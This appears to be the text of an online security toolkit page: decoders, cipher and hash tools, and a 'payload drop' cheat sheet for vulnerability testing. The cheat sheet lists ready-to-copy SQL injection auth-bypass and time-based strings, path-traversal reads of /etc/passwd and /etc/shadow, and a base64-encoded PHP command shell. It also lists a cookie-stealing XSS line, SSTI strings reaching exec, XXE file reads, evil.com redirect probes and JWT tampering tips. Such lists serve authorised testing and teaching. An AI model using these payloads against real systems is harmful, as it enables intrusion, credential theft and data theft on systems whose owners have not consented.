Toolkit

Select Tool

DECODER RING

Base64, URL, and Hexadecimal conversion.

Result will appear here...

ROT CIPHER

Shift characters by N positions (e.g. ROT13). Monoalphabetic substitution.

Result will appear here...

VIGENÈRE CIPHER

Polyalphabetic substitution cipher using a text key.

Result will appear here...

XOR TOOL

Perform bitwise XOR. Auto-detects hex vs plaintext inputs.

Hex output...
ASCII output...

HASH GENERATOR

Real-time MD5, SHA-1, SHA-256, and SHA-512 calculation.

...
...
...
...

HASH IDENTIFIER

Analyze a hash structure to determine possible algorithm types.

Awaiting input...

MAGIC BYTES

Identify file types from their hexadecimal signatures.

Awaiting signature...

TIMESTAMP CONV

Convert between Unix Epoch and human-readable dates.

Unix to Date

Output...

Date to Unix

Output...

IP CONVERTER

Convert IPv4 addresses to alternate representations (useful for SSRF bypass).

...
...
...

CIDR CALCULATOR

Calculate network boundaries and usable host ranges.

Results...

PAYLOAD DROP

Quick-copy cheat sheet for vulnerability testing.

SQL Injection (Auth Bypass)

' OR '1'='1
' OR '1'='1' --
admin'--
' OR 1=1--
" OR ""="

SQL Injection (Error Probes)

'
''
`
')
"))

SQL Injection (UNION & Time)

' ORDER BY 1--
' ORDER BY 2--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'--
' AND 1=IF(1=1,SLEEP(5),0)--

Local File Inclusion (LFI)

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
/etc/passwd
/etc/shadow
/proc/self/environ
/var/log/apache2/access.log
php://filter/convert.base64-encode/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

Cross-Site Scripting (XSS)

<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=alert`1`>
javascript:alert(1)
<svg onload=alert(1)>
<script>fetch('/?c='+document.cookie)</script>

Server-Side Template Injection (SSTI)

{{7*7}}
$49
<%= 7*7 %>
#49
{{config}}
{{self.__class__.__mro__[1].__subclasses__()}}
{{_self.env.registerUndefinedFilterCallback("exec")}}

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test "hello">]> <root>&test;</root>
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///">]> <root>&xxe;</root>

Open Redirect Probes

/redirect?url=https://evil.com
?next=//evil.com
?return=javascript:alert(1)

IDOR / Auth Testing Tips

> Change id=1 to id=2 (or negative/array values)
> Change user=admin to user=test
> Modify JWT role claims (None alg, signature strip)
> Remove Authorization header entirely